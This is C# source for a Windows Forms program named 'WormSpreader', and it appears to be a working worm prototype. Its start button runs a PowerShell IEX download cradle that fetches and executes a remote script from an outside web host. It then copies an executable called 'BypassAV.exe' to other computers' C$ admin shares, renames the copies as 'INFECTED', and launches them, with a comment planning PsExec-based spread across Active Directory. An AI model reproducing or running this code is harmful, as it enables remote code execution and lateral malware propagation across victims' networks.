using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Diagnostics; using System.IO; namespace WormSpreader { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void StartWormbutton1_Click(object sender, EventArgs e) { string cmd = "IEX (New-Object System.Net.Webclient).DownloadString('https://maxjensen.dk/testxx/powerme2.ps1'); powershell.exe powerme2.ps1"; RunspaceConfiguration runspaceconfig = RunspaceConfiguration.Create(); Runspace runspace = RunspaceFactory.CreateRunspace(runspaceconfig); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(cmd); pipeline.Invoke(); replication(); //replicationTwo(); } //TODO: Using PSexec to run worm on AD computers // replicate file to computers in list private static void replication() { List listOfComputers = new List(); listOfComputers.Add("Computer01"); listOfComputers.Add("Computer02"); string myuser = System.Security.Principal.WindowsIdentity.GetCurrent().Name; string thisUser = Environment.UserName; string thisComputer = System.Environment.MachineName; string userProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); foreach (string value in listOfComputers) { string executeablePathTwo = @"\\" + value + @"\C$" + @"\INFECTED" + "_" + value; string programToCopy = @"C:\Users\mx\Documents\Visual Studio 2013\Projects\BypassAV\BypassAV\bin\Debug\BypassAV.exe"; for (int i = 0; i < 2; i++) { // executeablePath = executeablePath.Insert(executeablePath.IndexOf("."), i.ToString()); File.Copy(programToCopy, executeablePathTwo + "{" + i + "}" + ".exe", true); Process.Start(executeablePathTwo + "{" + i + "}" + ".exe"); } } } private void infoButton2_Click(object sender, System.EventArgs e) { Form2 f2 = new Form2(); f2.Show(); } } }